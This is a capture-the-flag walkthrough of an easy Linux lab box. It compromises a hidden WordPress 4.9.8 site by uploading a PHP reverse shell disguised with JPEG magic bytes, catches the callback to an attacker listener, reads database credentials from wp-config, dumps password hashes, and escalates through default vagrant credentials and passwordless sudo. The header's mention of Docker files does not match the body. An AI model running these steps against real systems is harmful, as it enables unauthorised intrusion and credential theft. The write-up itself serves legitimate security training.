# Blogger Writeup - Proving Grounds

> Exploit WordPress plugin vulnerability on a hidden subdomain, escalate via writable Docker-related files to root on this Easy Linux box.

- **URL:** https://hackindex.io/writeups/blogger
- **Platform:** Proving Grounds
- **Difficulty:** Easy
- **Operating system:** Linux
- **Machine:** https://portal.offsec.com/machine/blogger-40267/overview
- **Tags:** wordpress, privilege-escalation, sudo-misconfiguration, default-credentials, hash-cracking
- **Authors:** [Joshua](https://hackindex.io/authors/joshua.md)
- **Read time:** 3 min read
- **Published:** 2026-02-23
- **Updated:** 2026-09-11

## Discovery

### Port Scan

```bash
scan_tcp_full $TARGET_IP
# PORT   STATE SERVICE VERSION
# 22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.10
# 80/tcp open  http    Apache httpd 2.4.18
# |_http-title: Blogger | Home
```

SSH requires a key ,  no password auth. HTTP is the attack surface.

### Web Enumeration

Initial gobuster against root only finds static asset directories. Add recursion to go deeper:

```bash
ffuf -w /usr/share/seclists/Discovery/Web-Content/common.txt \
  -u http://$TARGET_IP/FUZZ \
  -mc 200,204,301,302,307,401 -recursion -recursion-depth 10
```

Recursion into `/assets/fonts/` uncovers a WordPress installation at:

```
http://$TARGET_IP/assets/fonts/blog/
```

The page source references `blogger.pg` as the domain. Add it to `/etc/hosts`:

```bash
echo "$TARGET_IP blogger.pg" | sudo tee -a /etc/hosts
```

### WordPress Enumeration

```bash
wpscan --url http://blogger.pg/assets/fonts/blog/ -e ap,t,tt,u --random-user-agent
# WordPress version 4.9.8 (Insecure)
# Upload directory has listing enabled
# Theme: poseidon 2.1.1
#
# Users identified:
#   j@m3s
#   jm3s
```

Directory listing on the uploads folder is immediately interesting. Browsing to it reveals a PHP reverse shell already present from a prior interaction:

```
http://blogger.pg/assets/fonts/blog/wp-content/uploads/2022/08/php-reverse-shell-1660047324.9416.php
```

This confirms the upload directory is web-accessible and previously exploited.

## Initial Access

### Magic Bytes Bypass ,  PHP Shell Upload via Comment

WordPress 4.9.8 allows unauthenticated file uploads through post comments. The upload filter rejects `.php` extensions and checks file type. Prepending JPEG magic bytes to a PHP shell bypasses the type check while preserving PHP execution:

```bash
printf '\xFF\xD8\xFF\xEE' | cat - /path/to/php-reverse-shell.php > shell.php
```

Upload `shell.php` as a comment attachment on any post. WordPress accepts it and stores it in `wp-content/uploads/`. Start a listener, then browse to the uploaded file:

```
http://blogger.pg/assets/fonts/blog/wp-content/uploads/2026/02/shell-<timestamp>.php
```

```bash
nc -lvnp $ATTACKER_PORT
# connect to [$ATTACKER_IP] from (UNKNOWN) [192.168.222.217]
# uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Shell as `www-data`. Grab `local.txt` from `/home/james/`.

## Post-Exploitation

### wp-config.php ,  Database Credentials

```bash
find / -name wp-config.php 2>/dev/null
cat /var/www/wordpress/assets/fonts/blog/wp-config.php
# define('DB_NAME', 'wordpress');
# define('DB_USER', 'root');
# define('DB_PASSWORD', '$DB_PASSWORD');
# define('DB_HOST', 'localhost');
```

Dump the WordPress users table:

```bash
mysql -u root -p$DB_PASSWORD wordpress -e 'SELECT user_login,user_pass FROM wp_users;'
# j@m3s    $P$BqG2S/yf1TNEu03lHunJLawBEzKQZv/
```

The hash is PHPass (hashcat mode 400). Crack it with rockyou ,  the password resolves but is not needed for the privesc path that follows.

## Privilege Escalation

### Default Vagrant Credentials

```bash
cat /etc/passwd | grep bash
# root:x:0:0:root:/root:/bin/bash
# vagrant:x:1000:1000:,,,:/home/vagrant:/bin/bash
# ubuntu:x:1001:1001:Ubuntu:/home/ubuntu:/bin/bash
# james:x:1002:1002:James M Brunner,,,:/home/james:/bin/bash
```

The `vagrant` user is present. Vagrant boxes ship with the default credential `vagrant:vagrant`. Upgrade to a PTY and switch users:

```bash
python3 -c 'import pty; pty.spawn("/bin/sh")'
su vagrant
```

Password: `vagrant`

```bash
sudo -l
# User vagrant may run the following commands on ubuntu-xenial:
#     (ALL) NOPASSWD: ALL
```

Full sudo without password:

```bash
sudo cat /root/proof.txt
```

Root flag obtained.

Related

## References

- [https://wpscan.com](https://wpscan.com) - WordPress vulnerability scanner
- [https://developer.wordpress.org/reference](https://developer.wordpress.org/reference) - WordPress developer reference
- [https://developer.hashicorp.com/vagrant/docs/boxes/base](https://developer.hashicorp.com/vagrant/docs/boxes/base) - Vagrant base box default credentials